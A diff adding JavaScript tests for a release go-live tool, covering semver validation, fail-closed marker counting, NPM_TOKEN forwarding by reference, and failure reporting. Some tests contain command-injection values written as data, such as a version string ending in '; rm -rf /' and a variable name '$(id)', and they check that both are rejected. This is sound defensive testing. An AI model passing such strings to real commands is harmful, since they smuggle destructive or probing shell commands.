assert.ok(sel.ok, `template target invalid: ${sel.detail || ''}`);
|
|
195
|
+
assert.equal(sel.name, 'web');
|
|
196
|
+
});
|
|
197
|
+
|
|
198
|
+
test('an unknown target names what IS available', () => {
|
|
199
|
+
const r = G.loadConfig({ configPath: 'x.json', exists: () => true, readFile: () => G.CONFIG_TEMPLATE });
|
|
200
|
+
const sel = G.selectTarget(r.config, 'nope');
|
|
201
|
+
assert.equal(sel.error, 'UNKNOWN_TARGET');
|
|
202
|
+
assert.match(sel.detail, /web/);
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
// ---------------------------------------------------------------------------
|
|
206
|
+
// Markers + version parsing
|
|
207
|
+
// ---------------------------------------------------------------------------
|
|
208
|
+
|
|
209
|
+
test('parseMarker splits on the FIRST = so a needle may contain one', () => {
|
|
210
|
+
assert.deepEqual(G.parseMarker('src/a.js=const X = 1'), { path: 'src/a.js', needle: 'const X = 1' });
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
test('a malformed marker is rejected', () => {
|
|
214
|
+
assert.ok(G.parseMarker('noequals').error);
|
|
215
|
+
assert.ok(G.parseMarker('=needle').error);
|
|
216
|
+
assert.ok(G.parseMarker('path=').error);
|
|
217
|
+
assert.equal(G.parseMarker(''), null);
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
test('the version pattern accepts releases and rejects free text', () => {
|
|
221
|
+
for (const v of ['1.19.306', '1.0.0', '2.3.4-rc.1']) assert.ok(G.SEMVER_RE.test(v), v);
|
|
222
|
+
for (const v of ['latest', '1.19', 'v1.19.306', '1.19.306; rm -rf /', '']) assert.ok(!G.SEMVER_RE.test(v), v);
|
|
223
|
+
});
|
|
224
|
+
|
|
225
|
+
// ---------------------------------------------------------------------------
|
|
226
|
+
// Rendering — the report is the product; it must not claim more than it proved
|
|
227
|
+
// ---------------------------------------------------------------------------
|
|
228
|
+
|
|
229
|
+
test('the plan names every halt it found', () => {
|
|
230
|
+
const p = G.planGoLive({
|
|
231
|
+
div: div({ hasUnreleased: true, unreleased: { count: 3 } }),
|
|
232
|
+
target: okTarget, targetVersion: '1.19.306', dirtyCheckout: ' M x',
|
|
233
|
+
});
|
|
234
|
+
const out = G.renderPlan(p, { targetName: 'web' });
|
|
235
|
+
assert.match(out, /UNRELEASED_ON_MAIN/);
|
|
236
|
+
assert.match(out, /DIRTY_CHECKOUT/);
|
|
237
|
+
assert.match(out, /will NOT proceed/);
|
|
238
|
+
});
|
|
239
|
+
|
|
240
|
+
test('a clean plan tells you the next command', () => {
|
|
241
|
+
const out = G.renderPlan(G.planGoLive({ div: div(), target: okTarget, targetVersion: '1.19.306' }), { targetName: 'web' });
|
|
242
|
+
assert.match(out, /--apply/);
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
test('an uncommitted pin is reported as the durability failure it is', () => {
|
|
246
|
+
const out = G.renderReport({
|
|
247
|
+
targetName: 'web', from: '1.19.305', to: '1.19.306', liveVersion: '1.19.306',
|
|
248
|
+
pinCommitted: false, steps: [],
|
|
249
|
+
});
|
|
250
|
+
assert.match(out, /revert this bump/);
|
|
251
|
+
});
|
|
252
|
+
|
|
253
|
+
// ---------------------------------------------------------------------------
|
|
254
|
+
// The content proof must fail CLOSED
|
|
255
|
+
//
|
|
256
|
+
// This is the bug that got through twice. `grep -c` PRINTS 0 and EXITS 1 on no
|
|
257
|
+
// match, so the obvious `|| echo 0` emitted "0\n0" — which Number() turns into
|
|
258
|
+
// NaN, and NaN === 0 is false, so an ABSENT marker sailed through as no-halt.
|
|
259
|
+
// A content proof that fails open is worse than none: it certifies a release
|
|
260
|
+
// that does not contain the change, and every downstream check agrees.
|
|
261
|
+
// ---------------------------------------------------------------------------
|
|
262
|
+
|
|
263
|
+
test('a clean count reads as that count', () => {
|
|
264
|
+
assert.equal(G.parseMarkerHits('3'), 3);
|
|
265
|
+
assert.equal(G.parseMarkerHits('0'), 0);
|
|
266
|
+
assert.equal(G.parseMarkerHits(' 12 \n'), 12);
|
|
267
|
+
});
|
|
268
|
+
|
|
269
|
+
test('a double-printed zero reads as 0 (absent), never NaN', () => {
|
|
270
|
+
const v = G.parseMarkerHits('0\n0');
|
|
271
|
+
assert.equal(v, 0);
|
|
272
|
+
assert.ok(!Number.isNaN(v), 'NaN here is what let an absent marker pass');
|
|
273
|
+
});
|
|
274
|
+
|
|
275
|
+
test('anything that is not a count is UNCHECKED, never a confident 0', () => {
|
|
276
|
+
for (const junk of ['', null, undefined, 'PACK_FAILED', 'PACK_FAILED npm error E404', 'tar: not found', 'abc']) {
|
|
277
|
+
assert.equal(G.parseMarkerHits(junk), 'PACK_FAILED', JSON.stringify(junk));
|
|
278
|
+
}
|
|
279
|
+
});
|
|
280
|
+
|
|
281
|
+
test("'could not check' is a distinct halt from 'absent'", () => {
|
|
282
|
+
// They must never collapse: one says fix your fetch, the other says pick a
|
|
283
|
+
// later release. Conflating them sends you chasing a version that is not there.
|
|
284
|
+
assert.ok(G.HALTS.MARKER_UNCHECKED);
|
|
285
|
+
assert.ok(G.HALTS.MARKER_ABSENT);
|
|
286
|
+
assert.notEqual(G.HALTS.MARKER_UNCHECKED, G.HALTS.MARKER_ABSENT);
|
|
287
|
+
});
|
|
288
|
+
|
|
289
|
+
// ---------------------------------------------------------------------------
|
|
290
|
+
// The NPM_TOKEN forwarding trap
|
|
291
|
+
//
|
|
292
|
+
// `bongos upgrade --registry` needs NPM_TOKEN or npm 404s the PRIVATE core and the
|
|
293
|
+
// upgrade auto-rolls-back — which reads as "the release is broken" when it is only
|
|
294
|
+
// "the token never arrived". Sourcing the root-only env file in the OUTER shell is
|
|
295
|
+
// necessary and NOT sufficient: sudo's env_reset drops it, and an explicit
|
|
296
|
+
// `env K=V` list that omits it drops it too. This cost a real failed go-live.
|
|
297
|
+
// ---------------------------------------------------------------------------
|
|
298
|
+
|
|
299
|
+
test('a forwarded var is passed BY REFERENCE, never by value', () => {
|
|
300
|
+
const cmd = G.asOwner({ runAs: 'lars', env: { PGDATABASE: 'cb' } }, 'npm install', { forward: ['NPM_TOKEN'] });
|
|
301
|
+
assert.match(cmd, /NPM_TOKEN="\$NPM_TOKEN"/);
|
|
302
|
+
// The point of by-reference: the secret's VALUE must never appear in the script text.
|
|
303
|
+
assert.ok(!cmd.includes('npm_'), 'a token value must never be interpolated here');
|
|
304
|
+
});
|
|
305
|
+
|
|
306
|
+
test('forwarding is only wired when the target names an env file to source from', () => {
|
|
307
|
+
// Otherwise K="$K" expands to empty and silently does nothing — a quiet no-op
|
|
308
|
+
// is worse than not trying.
|
|
309
|
+
assert.deepEqual(G.npmForward({ npmEnvFile: '/etc/x/npm.env' }), ['NPM_TOKEN']);
|
|
310
|
+
assert.deepEqual(G.npmForward({}), []);
|
|
311
|
+
});
|
|
312
|
+
|
|
313
|
+
test('an unvetted variable name is never interpolated', () => {
|
|
314
|
+
const cmd = G.asOwner({ runAs: 'me' }, 'x', { forward: ['GOOD', 'bad name', '$(id)', '1BAD'] });
|
|
315
|
+
assert.match(cmd, /GOOD="\$GOOD"/);
|
|
316
|
+
assert.ok(!cmd.includes('bad name') && !cmd.includes('$(id)') && !cmd.includes('1BAD'));
|
|
317
|
+
});
|
|
318
|
+
|
|
319
|
+
// ---------------------------------------------------------------------------
|
|
320
|
+
// A failed run must say what the tool said
|
|
321
|
+
// ---------------------------------------------------------------------------
|
|
322
|
+
|
|
323
|
+
test('the report surfaces the failing tool’s own words', () => {
|
|
324
|
+
const out = G.renderReport({
|
|
325
|
+
ok: false, failedAt: 'UPGRADE', targetName: 'web', from: '1.19.305', to: '1.19.306',
|
|
326
|
+
rolledBack: true, steps: [{ name: 'upgrade', ok: false, detail: 'AUTO-ROLLBACK ran' }],
|
|
327
|
+
raw: { stdout: 'npm error 404 Not Found - GET https://registry.npmjs.org/@bongos%2fcore\nup to date in 2s', stderr: '' },
|
|
328
|
+
});
|
|
329
|
+
assert.match(out, /404 Not Found/, 'the diagnosis must reach the reader');
|
|
330
|
+
assert.match(out, /not broken/, 'a rollback must be distinguished from an outage');
|
|
331
|
+
});
|
|
332
|
+
|
|
333
|
+
test('failureExcerpt prefers diagnostic lines over trailing noise', () => {
|
|
334
|
+
const raw = { stdout: ['ok a', 'ok b', 'npm error code E404', 'up to date in 2s'].join('\n'), stderr: '' };
|
|
335
|
+
const ex = G.failureExcerpt(raw);
|
|
336
|
+
assert.ok(ex.some((l) => l.includes('E404')));
|
|
337
|
+
assert.ok(!ex.some((l) => l === 'ok a'));
|
|
338
|
+
});
|
|
339
|
+
|
|
340
|
+
test('failureExcerpt is safe on an empty or missing result', () => {
|
|
341
|
+
assert.deepEqual(G.failureExcerpt(null), []);
|
|
342
|
+
assert.deepEqual(G.failureExcerpt({ stdout: '', stderr: '' }), []);
|
|
343
|
+
});
|
|
344
|
+
|
|
345
|
+
// ---------------------------------------------------------------------------
|
|
346
|
+
// A stale origin/main ref silently retargets the whole go-live
|
|
347
|
+
// ---------------------------------------------------------------------------
|
|
348
|
+
|
|
349
|
+
test('refreshMain reports a failed fetch instead of throwing', () => {
|
|
350
|
+
const r = G.refreshMain({ run: () => ({ status: 1, stderr: 'fatal: could not read from remote\n' }) });
|
|
351
|
+
assert.equal(r.ok, false);
|
|
352
|
+
assert.match(r.reason, /could not read from remote/);
|
|
353
|
+
});
|
|
354
|
+
|
|
355
|
+
test('refreshMain succeeds quietly', () => {
|
|
356
|
+
assert.deepEqual(G.refreshMain({ run: () => ({ status: 0, stdout: '', stderr: '' }) }), { ok: true });
|
|
357
|
+
});
|
|
358
|
+
|
|
359
|
+
test('a spawn error is handled, not thrown', () => {
|
|
360
|
+
const r = G.refreshMain({ run: () => ({ error: new Error('ENOENT'), status: null }) });
|
|
361
|
+
assert.equal(r.ok, false);
|
|
362
|
+
});
|